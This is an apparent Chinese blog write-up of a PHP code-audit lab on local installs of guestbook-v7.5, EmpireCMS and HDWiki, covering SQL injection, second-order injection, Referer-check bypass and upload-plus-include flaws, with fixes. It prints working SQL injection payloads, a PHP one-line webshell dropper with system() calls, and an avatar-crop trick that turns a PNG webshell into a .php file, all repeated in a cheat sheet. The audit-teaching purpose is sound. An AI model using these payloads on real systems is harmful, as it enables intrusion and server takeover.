靶场环境说明
本次实验涉及三个PHP靶场,均解压至phpstudy的网站根目录运行。实验环境为PHP 5.5.9 + Apache 2.4.39 + MySQL 5.7.26,配合phpstudy2018集成环境使用。所用工具包括MySQL-Monitor可视化SQL监控工具、Seay源代码审计系统、Fortify SCA静态代码审计工具,以及Burp Suite抓包工具。三个靶场分别是guestbook-v7.5留言本系统、EmpireCMS帝国建站系统以及HDWiki百科系统,分别用于演示关键字审计、功能模块审计和SQL二次注入审计。
一、代码审计基础
代码审计本质上是阅读并理解源代码,反推出可能产生不安全问题的地方。它不局限于寻找已知漏洞模式,更需要深入理解业务逻辑,挖掘潜在的、未知的安全风险。
从测试视角来看,代码审计属于白盒测试。白盒测试以研发工程师视角深入,剖析代码逻辑与数据流向,核心探究系统如何实现,完全掌握内部结构。与黑盒测试(仅关注输入输出)和灰盒测试(兼顾功能表现与内部逻辑)相比,白盒测试的优势在于能精准定位漏洞根源,缺点是对测试人员编程知识要求较高。
| 测试类型 | 视角与核心 | 场景与优劣 |
|---|---|---|
| 黑盒测试 | 普通用户视角,只看输入输出,探究系统做什么,不看内部代码 | 适用于渗透测试;优点贴近真实业务场景,缺点无法定位漏洞根源 |
| 白盒测试 | 开发视角,阅读源码,探究系统如何实现,掌握全部内部结构 | 适用于单元测试、代码审计;优点精准定位漏洞根源,缺点成本高 |
| 灰盒测试 | 架构师视角,结合业务功能与部分源码,What与How结合 | 适用于API、集成测试;效率高覆盖广,对综合能力要求高 |
代码审计方法分为静态分析和动态分析两类。
静态分析:不运行代码,通过关键字排查和功能模块排查来定位风险点;
动态分析:在运行时洞察,借助断点调试和数据库监控还原数据流转的真实场景。
关键字方法,搜索审计,如:
SQL注入:select、update、insert、delete
RCE:assert、eval、system、exec
文件包含:include、require、include_once、require_once
文件上传:$_FILES、move_upload_file、file_put_content
功能模块排查则将代码按登录、文件上传、支付等业务功能划分,聚焦高危业务场景,深入理解业务逻辑。
存在用户输入的地方就可能存在漏洞,但仅参数可控无法产生注入,必须同时满足三个条件:参数用户可控、参数拼接SQL语句并代入数据库执行、参数无过滤或过滤存在缺陷。三个条件缺一不可。
二、SQL注入漏洞审计
2.1 靶场搭建
将guestbook-v7.5.zip解压至phpstudy的WWW目录,访问 http://localhost/guestbook-v7.5/install.php 完成安装。数据库主机填写127.0.0.1,用户名root,数据库名guestbook,数据表前缀guestbook_。若无法访问,可清除浏览器缓存或将localhost替换为127.0.0.1。
2.2 审计过程
在Seay源代码审计系统中新建项目,导入guestbook-v7.5源码文件夹。使用全局搜索功能,输入select关键字,在出来的满满一页的文件路径,如index.php系列和admin.php系列,咱们优先定位到adminlogin.php文件。双击进入查看源码,发现SQL语句由变量直接拼接而成。
$sql_str = "select * from $prefix"."admin where adminname='".$uname."' and adminpass='".substr(md5($pwd,false),8,16)."'";
echo $sql_str;
$quer=mysqli_query($conn,$sql_str);
选中变量uname,右键进行全文搜索,追溯参数来源。搜索结果显示uname来自POST请求,参数完全可控,且没有任何过滤。
if (!isset($_POST["adminuser"]) || !isset($_POST["adminpass"])){
echo("请输入用户名和密码,点<a href=javascript:history.back()>这里</a>返回");
return;
}
$uname= $_POST["adminuser"];
$pwd= $_POST["adminpass"];
此时SQL注入的三个条件全部满足:参数用户可控、参数拼接SQL语句并代入数据库执行、参数无过滤。漏洞成立。
2.3 绕过Referer校验
尝试访问 http://localhost/guestbook-v7.5/admin/adminloginok.php ,页面显示"非法访问!"。回到Seay全局搜索"非法访问!",定位到referer校验代码。
$referer = array($_SERVER['HTTP_HOST'],"www".$_SERVER['HTTP_HOST']);
$url = @$_SERVER['HTTP_REFERER'];
$str = str_replace("http://","",$url);
$strdomain = explode("/",$str);
$domain = $strdomain[0];
if (!in_array($domain,$referer)){
EXIT("非法访问!");
}
这段代码构造了一个白名单,白名单内容为当前站点的HOST头和带www前缀的HOST头。它从HTTP_REFERER请求头中提取来源域名,去掉http://后按斜杠分割,取第一部分与白名单比对。
该防御存在明显缺陷。HTTP_REFERER完全由客户端控制,攻击者可以随意伪造。使用Burp Suite抓包,将Referer头修改为http://localhost,即可绕过校验。
//伪造的请求头
Referer: http://localhost
此外,代码只替换了http://,没有处理https://的情况。如果用户通过HTTPS访问,str依然是https://开头,explode分割后domain会变成"https:",无法匹配白名单,导致合法用户反而被拦截。而攻击者只需在伪造的Referer中使用http://即可轻松绕过。
这种校验方式只能作为辅助防御手段,如防止图片盗链,绝对不能作为核心的权限校验或CSRF防御手段。正确定位应为废弃Referer校验,改用CSRF Token机制。
2.4 漏洞验证
在Burp Suite中构造POST请求,修改Referer头为http://localhost,Payload设置为:
adminuser=1' or 1=1 #&adminpass=1
此时SQL语句变为:
select * from guestbook_admin where adminname='1' or 1=1 #' and adminpass='...'
井号注释掉后续条件,or 1=1恒成立,查询返回所有管理员记录,成功登录后台,登录账号为admin。
2.5 SQL注入Payload复习
在有回显的情况下,可以通过联合查询获取数据库名:
-- 判断字段数
adminuser=1' or 1=1 order by 7 #&adminpass=1
-- 联合查询
adminuser=1' union select 1,2,3,4,5,6 #&adminpass=1
-- 获取数据库名
adminuser=1' union select 1,database(),3,4,5,6 #&adminpass=1
在无回显的情况下,可以使用报错注入或布尔盲注:
-- 报错注入
adminuser=1' or extractvalue(1,concat(0x5c,(select database()),0x5c)) #&adminpass=1
-- 布尔盲注:判断数据库名长度
adminuser=1' or length(database())=9 #&adminpass=1
-- 布尔盲注:逐字符判断
adminuser=1' or ascii(substr(database(),1,1))=103 #&adminpass=1
adminuser=1' or ascii(substr(database(),2,1))=117 #&adminpass=1
三、文件上传与文件包含组合漏洞
3.1 靶场搭建
访问 http://localhost/EmpireCMS/e/install/index.php 完成EmpireCMS安装。在后台数据库管理模块中,存在"导入系统模型"功能,该功能对应文件上传操作。
3.2 审计过程
通过浏览器开发者工具或Burp Suite抓包,发现点击"马上导入"时,向 http://localhost/EmpireCMS/e/admin/ecmsmod.php 发送POST请求。在源码中找到e/admin/ecmsmod.php,根据请求数据包定位到LoadInMod方法调用。实验时是在F12的网络、编码里看到LoadInMod这个像是函数的东西。
elseif($enews=="LoadInMod")
{
$file=$_FILES['file']['tmp_name'];
$file_name=$_FILES['file']['name'];
$file_type=$_FILES['file']['type'];
$file_size=$_FILES['file']['size'];
LoadInMod($_POST,$file,$file_name,$file_type,$file_size,$logininid,$loginin);
}
跟踪进入LoadInMod函数,查看完整逻辑。
function LoadInMod($add,$file,$file_name,$file_type,$file_size,$userid,$username){
global $empire,$dbtbpre,$ecms_config;
//验证权限
CheckLevel($userid,$username,$classid,"table");
$tbname=RepPostVar(trim($add['tbname']));
if(!$file_name||!$file_size||!$tbname)
{
printerror("EmptyLoadInMod","");
}
//扩展名校验
$filetype=GetFiletype($file_name);
if($filetype!=".mod")
{
printerror("LoadInModMustmod","");
}
//表名是否已存在
$num=$empire->gettotal("select count(*) as total from {$dbtbpre}enewstable where tbname='$tbname' limit 1");
if($num)
{
printerror("HaveLoadInTb","");
}
//上传文件,后缀强制php
$path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
$cp=@move_uploaded_file($file,$path);
if(!$cp)
{
printerror("EmptyLoadInMod","");
}
DoChmodFile($path);
@include($path);
UpdateTbDefMod($tid,$tbname,$mid);
}
整个逻辑流程为:校验上传文件扩展名必须为.mod,将文件移动到e/data/tmp/mod/目录并强制重命名为.php后缀,然后使用@include直接包含执行该文件。执行完成后删除临时文件。
漏洞核心在于:文件上传后强制改为.php后缀,然后直接被include执行。虽然前端校验了.mod扩展名,但PHP只根据文件内容解析,不检查扩展名。攻击者只需将恶意代码写入.mod文件,上传后即可被执行。
<?php file_put_contents("aaaaaaa.php","<?php @eval(\$_REQUEST[code]); ?>") ?>
运行该脚本会生成一句话木马文件aaaaaaa.php,由于代码在e/admin/ecmsmod.php中执行,保存的木马文件也在e/admin目录。借助文件上传和文件包含组合,完成RCE远程代码执行。
http://localhost/EmpireCMS/e/admin/aaaaaaa.php?code=system(ver);
http://localhost/EmpireCMS/e/admin/aaaaaaa.php?code=system(dir);
http://localhost/EmpireCMS/e/admin/aaaaaaa.php?code=phpinfo();
该漏洞的修复思路包括:生产环境删除或限制安装目录,禁止上传.mod文件或将其重命名为不可执行扩展名,修改LoadInMod函数不直接包含上传文件而是解析其中的数据后再导入,将上传目录设置为不可执行PHP。
四、SQL二次注入审计
4.1 二次注入原理
二次注入与传统注入的核心区别在于触发时机。传统SQL注入是用户输入直接拼接到SQL语句执行,呈现即输即爆的即时性特征。二次注入则是恶意数据先存入数据库,后续程序取出该数据并二次拼接SQL时才触发,属于延迟引爆。
防护盲点方面,传统注入主要针对未经过滤的用户原始输入,防护重点集中在输入入口的校验与过滤环节。二次注入的盲点在于已存储的污染数据,开发者容易忽视对数据库取出数据的二次校验与处理。预编译对传统注入防护效果显著,但面对二次注入时可能失效,因为数据入库时虽用预编译,但取出复用若存在字符串拼接,仍会引发风险。
二次注入成立需要两个条件:新增或修改数据存入数据库,输入做了转义处理;业务从数据库取出这条数据,没有再次过滤,直接拼接进新SQL语句执行。
4.2 SQL监控工具MySQL-Monitor
将MySQL-Monitor.zip解压至phpstudy_pro的WWW目录,浏览器访问 http://localhost/MySQL-Monitor/mysql_monitor_client.html ,填写数据库连接信息,点击Connect开启监控。注意不要直接关闭浏览器停止监控,必须点击Disconnect按钮,否则数据库会产生大量垃圾数据。
4.3 实验一:HDWiki忽略列表黑名单
访问 http://localhost/hdwiki 完成HDWiki安装。注册并登录账号后,进入个人中心,选择短消息,打开忽略列表。该功能用于设置短消息拒收黑名单,用户可随意输入拒绝收取短消息的其他用户账户。
开启MySQL监控后,输入任意数据xxx并观察监控。发现输入的xxx作为SQL语句中的数据被执行,若存在SQL注入则为字符注入。尝试修改输入为x'and'1'='1再次观察,发现单引号被转义。
继续操作,点击收件箱,在监控中发现关键SQL语句:
select id,new,delstatus,og from wiki_pms where toid=2 and delstatus!=2 and drafts!=1 and `from` not in ('x' and '1'='1')
此时满足二次注入条件:从数据库中取出问题数据未过滤并代入新SQL语句执行。全局搜索问题SQL语句,定位到global.class.php中的newpms函数。
function newpms($uid){
$newpms=$totalpms=$pripms=$pubpms=0;
# 从数据库取出黑名单
$blacklist=$this->db->fetch_first('select blacklist from '.DB_TABLEPRE.'blacklist where uid='.$uid);
if('[ALL]'!=$blacklist['blacklist']){
$blackuser=str_replace(",","','",$blacklist['blacklist']);
# 查询短消息是否来自黑名单用户
$query=$this->db->query('select id,new,delstatus,og from '.DB_TABLEPRE.'pms where toid='.$uid." and delstatus!=2 and drafts!=1 and `from` not in ('$blackuser')");
}
}
代码直接从数据库取出黑名单数据,未进行过滤,拼接为新的SQL语句执行。构造Payload为:
1') and sleep(5)#
提交后,数据库监控显示:
# 一注:入库时转义
REPLACE INTO wiki_blacklist (uid,blacklist) VALUES('2','1\') and sleep(5)#')
# 二注:取出后未转义直接拼接
select id,new,delstatus,og from wiki_pms where toid=2 and delstatus!=2 and drafts!=1 and `from` not in ('1') and sleep(5)#')
此时点击收件箱无任何效果,因为当前用户收件箱为空,前面的条件不满足,后面的and不会执行。利用另一个账号向当前账号发送消息后,再次点击消息,页面休眠5秒,二次注入漏洞验证成功。
4.4 实验二:HDWiki评论举报
在首页点击任意词条,进入评论功能,发表任意评论。开启数据库监控,输入评论内容adasdasads,观察SQL执行。尝试评论为x'and'1'='1,执行语句进行了转义。
对该评论进行举报,举报原因为asdas。此时执行SQL语句,在举报评论时会将评论内容从数据库取出并组成新的SQL语句执行,此处存在二次注入。构造Payload:
-- 如果数据库名长度为4,则休眠10秒
xxx' ,0,if((length(database())=4,sleep(10),0)) #
-- 如果数据库名第一个字符为w,则休眠10秒
xxx' ,0,if(substr(database(),1,1)='w',sleep(10),0)) #
对应的问题代码位于comment.php的doreport函数和pms.class.php的send_ownmessage函数。
//comment.php doreport()
$comment=$this->db->fetch_by_field('comment','id',$id);
$report=$this->view->lang['commentCom'].$this->view->lang['commentUser'].$comment['author'].'<br/>'.$this->view->lang['commentTime'].$this->date($comment['time']).'<br/>'.$this->view->lang['commentId'].$comment['id'].'<br/>'.$this->view->lang['commentsDocTitle'].$doc['title'].'<br/>'.$this->view->lang['commentContent'].$comment['comment'].'<br/>'.$this->view->lang['commentReportReason'].$report;
$sendarray=array(
'sendto'=>$sendto,
'subject'=>$subject,
'content'=>$report,
'isdraft'=>1,
'user'=>$this->user
);
$_ENV['pms']->send_ownmessage($sendarray);
//pms.class.php send_ownmessage()
$pmsquery="INSERT INTO ".DB_TABLEPRE."pms ('from','fromid','drafts','toid','to','subject','message','time','new') VALUES ";
for($i=0;$i<$num;$i++){
$pmsquery.="('".$sendarray['user']['username']."','".$sendarray['user']['uid']."','".$isdraft."','".$userinfo[$i]['uid']."','".$userinfo[$i]['username']."','".$sendarray['subject']."','".$sendarray['content']."','".$this->base->time."',1),";
}
$pmsquery=substr($pmsquery,0,-1).';';
$pmsresult=$this->db->query($pmsquery);
评论内容入库时被转义,但举报时从数据库取出评论内容,未过滤直接拼接进insert短消息的SQL语句,造成二次注入。
4.5 数据库通用日志
除使用第三方数据库监控工具外,还可以利用数据库日志进行分析。修改MySQL配置文件my.ini或my.cnf,开启general_log。
[mysqld]
general_log=1
general_log_file="file.log"
datadir=D:/phpstudy_pro/Extensions/MySQL5.7.26/data/
通过SQL查看配置:show variables like 'datadir'; 开启数据库日志后,日志文件保存在datadir指定的目录下。
五、MVC架构项目代码审计
5.1 MVC架构介绍
MVC是一种项目架构,名称来自模型(Model)、视图(View)和控制器(Controller)的首字母。模型层负责数据处理和数据库交互,视图层负责页面展示,控制器层负责业务逻辑处理,接收请求并调度模型与视图。
用户发起请求给控制器,控制器调用模型获取数据,控制器将数据传给视图,视图返回响应页面给用户。这种架构使代码结构更加清晰,避免了无架构应用中单个PHP文件既处理页面显示又处理业务逻辑又执行数据库查询的情况。
5.2 MVC简单示例工程
访问 http://localhost/MVCDemo/ 查看示例工程。目录结构为controller控制器目录、model模型目录、view视图目录和入口index.php。
<?php
require_once 'controller/controller.php';
$controller = new Controller();
$controller->handleRequest();
控制器通过浏览器GET请求地址中的参数进行不同的数据处理操作,最后显示不同的视图。
<?php
require_once 'model/user.php';
class controller {
private $user;
public function __construct() {
$this->user = new user('john', '123456');
}
public function handleRequest() {
if($_SERVER['QUERY_STRING'] == "login"){
$username = $_POST['username'];
$password = $_POST['password'];
$this->user->setUsername($username);
$this->user->setPassword($password);
$data = $this->user->getData();
require_once('view/userview.php');
}else{
require_once('view/main.php');
}
}
}
5.3 HDWiki头像上传审计
请求URL格式为 index.php?user-editimage,单一入口index.php,参数使用短横线分割控制器与方法名。在HDWiki中,查看头像上传与裁剪的源代码。
<?php
/*the hdwiki entrance */
error_reporting(0);
@set_magic_quotes_runtime(0);
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
define('IN_HDWIKI', TRUE);
define('HDWIKI_ROOT', dirname(__FILE__));
include HDWIKI_ROOT.'/model/hdwiki.class.php';
$hdwiki = new hdwiki();
$hdwiki->run();
?>
每当浏览器请求index.php,首先创建hdwiki对象,执行run方法。init_request方法解析URL参数,load_control方法加载控制器文件,run方法执行控制器对应函数。以user-editimage为例,控制器为user,执行方法doeditimage,源码位于control/user.php。
头像初次上传校验逻辑位于doeditimage方法中,限制文件大小最大1MB,后缀白名单为png、jpg、jpeg、gif,使用图片库函数校验图片类型,保存路径不可控。初次上传功能不存在上传漏洞。
5.4 裁剪图片功能漏洞
请求地址为 index.php?user-cutimage,POST传入两个可控参数:bigimage原图路径和cutimage裁剪后保存路径。
function cutimage($srcimage, $tagimage, $post){
$targw=90;
$targh=90;
$imagepath = pathinfo($srcimage);
$ext=strtolower($imagepath['extension']);
$ext=($ext=='jpg')?'jpeg':$ext;
$createfunc='imagecreatefrom'.$ext;
$imagefunc='image'.$ext;
if(function_exists($createfunc)){
$imgsrc = $createfunc($srcimage);
if($imgsrc) {
$dstsrc = ImageCreateTrueColor( $targw, $targh );
$whites = imagecolorallocate($dstsrc,255,255,255);
imagefill($dstsrc,0,0,$whites);
imagecopyresampled($dstsrc,$imgsrc, $post['dst_x'],$post['dst_y'],$post['img_x'],$post['img_y'], $post['dst_w'],$post['dst_h'],$post['img_w'],$post['img_h']);
$result = ($ext=='png')?$imagefunc($dstsrc, $tagimage):$imagefunc($dstsrc, $tagimage, 80);
imagedestroy($imgsrc);
imagedestroy($dstsrc);
}else{
$result = copy($srcimage,$tagimage);
}
}
return $result;
}
裁剪图片时,先以第一步上传图片的后缀名查找是否存在获取对应图片格式中图像的方法。如果方法不存在则不会进行任何处理,即不进行图片裁剪,此时服务器中只会存在裁剪前的头像文件,而不会生成裁剪后的文件。如果方法存在则会执行,执行成功则完成裁剪并保存;执行失败则直接复制原图至目标路径。
漏洞利用完整步骤如下。第一步上传文件时,把一句话木马内容保存为phpinfo.png,后缀png绕过上传白名单校验,服务器保存图片。第二步抓裁剪请求包,修改POST参数cutimage值,修改保存后缀为php,例如uploads/userface/3/3.php。imagecreatefrompng解析png木马文件失败,执行else分支copy函数,直接把png木马复制输出为php文件。访问 http://localhost/hdwiki/uploads/userface/3/3.php ,执行PHP代码。
该漏洞的修复思路包括:对裁剪后保存路径进行严格校验,限定保存目录和文件扩展名;对上传文件内容进行真实图片类型检测;将上传目录设置为不可执行PHP。
六、静态代码审计工具
6.1 Fortify SCA
Fortify SCA是商业静态代码分析工具,支持Java、PHP、C/C++等多语言,拥有完备的漏洞规则库与合规检查能力。安装时选择安装路径,勾选Fortify Audit Workbench组件,指定fortify.license授权文件路径,取消安装完成后更新安全内容的勾选。安装完成后替换Core\lib目录下的fortify-common-20.1.1.0007.jar,编辑Core\private-bin\awb\productlaunch.cmd,在文件末尾添加参数-Dfile.encoding=utf-8。
打开Audit Workbench工具,通过Advanced Scan选择源码文件夹,设置输出fpr结果文件路径,点击Scan执行扫描。扫描完成后左侧会展示漏洞列表,按严重程度分类。
6.2 Seay源代码审计系统
Seay是国产开源PHP专用审计工具,基于正则匹配规则扫描源码,支持自定义漏洞规则。操作方式为新建项目导入源码,点击自动审计,开始扫描。在系统配置的规则管理中可查看全部正则规则,也可以新增自定义检测规则。
例如自定义规则eval\(\s*\.\*\\s\*\\)可以匹配eval执行变量的风险代码。在规则测试处输入代码段验证,eval("phpinfo();")不会匹配,eval(a)会匹配。
6.3 工具局限性
自动化工具只能发现模式匹配的风险点,存在大量误报,必须人工阅读上下文确认漏洞是否真实存在。Fortify扫描HDWiki时检测到include文件包含,但源码init_request方法过滤了点号,禁止路径穿越,因此没有文件包含漏洞。工具仅识别危险函数,不完整理解业务逻辑,无法替代人工审计。
七、综合防御与安全开发思考
SQL注入防御应使用预处理语句或参数化查询,从根本上避免用户输入被解析为SQL代码。对于必须拼接的场景,使用mysqli_real_escape_string或addslashes进行转义,但需注意字符集问题。同时应遵循最小权限原则,数据库账户仅授予必要权限,避免使用root账户连接应用数据库。
二次注入防御需要建立全链路数据校验机制。数据入库时进行转义,取出使用时仍需进行二次校验或参数化处理。开发者容易忽视已存储数据的二次校验,认为入库时已转义就安全,这是二次注入能够成功的根本原因。建议在任何数据被拼接进SQL语句之前,都进行统一的过滤或参数化处理,无论数据来源是用户输入还是数据库。
文件上传防御应采用白名单机制,严格限制上传文件的扩展名和MIME类型。对上传文件内容进行真实类型检测,如图片文件通过getimagesize函数校验。上传目录应设置为不可执行PHP,避免文件被解析执行。文件包含防御应避免直接包含用户可控的文件路径,如需动态包含,应使用白名单限制可包含的文件范围。
代码审计的价值不仅在于发现单个漏洞,更在于理解漏洞产生的根本原因。从编码规范、架构设计、安全开发流程等层面建立防御体系,才能从根本上减少安全漏洞。静态分析与动态分析结合,自动化工具与人工审计互补,是代码安全审计的最佳实践方案。
开放问题
本次实验中,SQL二次注入的Payload构造依赖sleep()函数的时间盲注,但在实际业务场景中,sleep()可能被WAF拦截或数据库禁用。如果目标数据库禁用了sleep()函数,还有哪些可行的盲注替代方案?例如通过BENCHMARK()、笛卡尔积查询或条件性重量级查询构造延时,各自的适用场景和优缺点是什么?欢迎在评论区分享你的思路。
命令速查表
| 目的 | 命令示例 | 备注(原理与坑点) |
|---|---|---|
| 关键字搜索SQL注入 | 全局搜索select、update、insert、delete | Seay全局搜索功能,支持正则匹配;双击结果跳转源码位置 |
| 关键字搜索RCE | 全局搜索assert、eval、system、exec | 从危险函数出发逆向追溯参数来源,判断输入是否可控 |
| 关键字搜索文件包含 | 全局搜索include、require、include_once、require_once | 需结合上下文判断是否存在路径穿越过滤 |
| 关键字搜索文件上传 | 全局搜索$_FILES、move_upload_file、file_put_content | 关注文件扩展名校验、保存路径是否可控、是否被include执行 |
| 启动MySQL监控 | 访问 http://localhost/MySQL-Monitor/mysql_monitor_client.html 点击Connect | 监控期间必须点Disconnect断开,否则数据库产生垃圾数据 |
| 开启数据库通用日志 | my.ini中添加general_log=1和general_log_file="file.log" | 通过show variables like 'datadir'查看日志存放目录 |
| SQL注入判断字段数 | adminuser=1' or 1=1 order by 7 #&adminpass=1 | 逐步增加order by后的数字,报错时确定字段数 |
| SQL注入联合查询获取数据 | adminuser=1' union select 1,database(),3,4,5,6 #&adminpass=1 | 需页面存在回显位,且字段数与前面查询一致 |
| SQL注入报错注入 | adminuser=1' or extractvalue(1,concat(0x5c,(select database()),0x5c)) #&adminpass=1 | 适用于无回显但有错误信息输出的场景 |
| SQL注入布尔盲注 | adminuser=1' or length(database())=9 #&adminpass=1 | 通过页面返回状态差异判断条件真假 |
| SQL二次注入时间盲注 | 1') and sleep(5)# | 需目标收件箱不为空,否则前面的and条件不成立,后面的sleep不执行 |
| 伪造Referer绕过校验 | Burp Suite中修改Referer: http://localhost | HTTP_REFERER由客户端控制,可随意伪造,不能作为核心安全校验 |
| EmpireCMS上传Mod文件 | 构造shell.mod内容为<?php file_put_contents("aaaaaaa.php","<?php @eval(\$_REQUESTcode); ?>") ?> | 文件被强制重命名为.php后include执行,生成一句话木马 |
| HDWiki裁剪图片改后缀 | Burp抓包修改cutimage参数为uploads/userface/3/3.php | 利用imagecreatefrompng解析失败走copy分支,将png木马复制为php |
| Seay自定义规则 | eval\(\s*\$.*\s*\) | 匹配eval执行变量的风险代码,在规则测试处验证 |
| Fortify添加编码参数 | productlaunch.cmd末尾添加-Dfile.encoding=utf-8 | 解决中文乱码问题,注意参数前有空格 |
本文为PHP代码审计实验记录,仅供以防御为目的的学习和复盘,请勿用于其他用途。中华人民共和国网络安全法第二十七条规定,任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动。
欢迎留言评论,分享你的审计思路与实验心得。